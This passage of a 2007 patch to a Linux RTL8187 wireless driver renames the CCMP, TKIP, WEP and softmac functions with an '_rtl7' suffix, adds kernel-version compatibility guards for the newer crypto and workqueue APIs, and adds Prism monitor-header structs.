AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +345,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,7 +373,7 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; @@ -396,7 +404,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +428,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +445,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_txpower/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.h 2007-02-26 03:05:12.091489906 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c 2007-02-26 03:05:15.841546474 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -62,7 +70,7 @@ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -101,7 +109,7 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; if (_priv && _priv->tfm_michael) @@ -200,7 +208,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +230,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +276,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -283,11 +291,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -325,7 +333,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -382,10 +390,10 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; @@ -428,10 +436,14 @@ } -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret=0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,15 +457,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; - return 0; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif + + return ret; } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +504,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,9 +516,9 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; @@ -506,7 +527,7 @@ #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +548,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +564,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +572,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,8 +581,8 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { @@ -572,7 +593,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,7 +609,7 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; @@ -618,7 +639,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +669,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +696,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c 2007-02-26 03:05:15.881547078 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -40,7 +48,7 @@ }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -72,7 +80,7 @@ } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; if (_priv && _priv->tfm) @@ -87,7 +95,7 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; @@ -151,7 +159,7 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; @@ -203,7 +211,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +225,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +238,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +247,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_txpower/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211.h 2007-02-26 03:05:12.121490358 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void 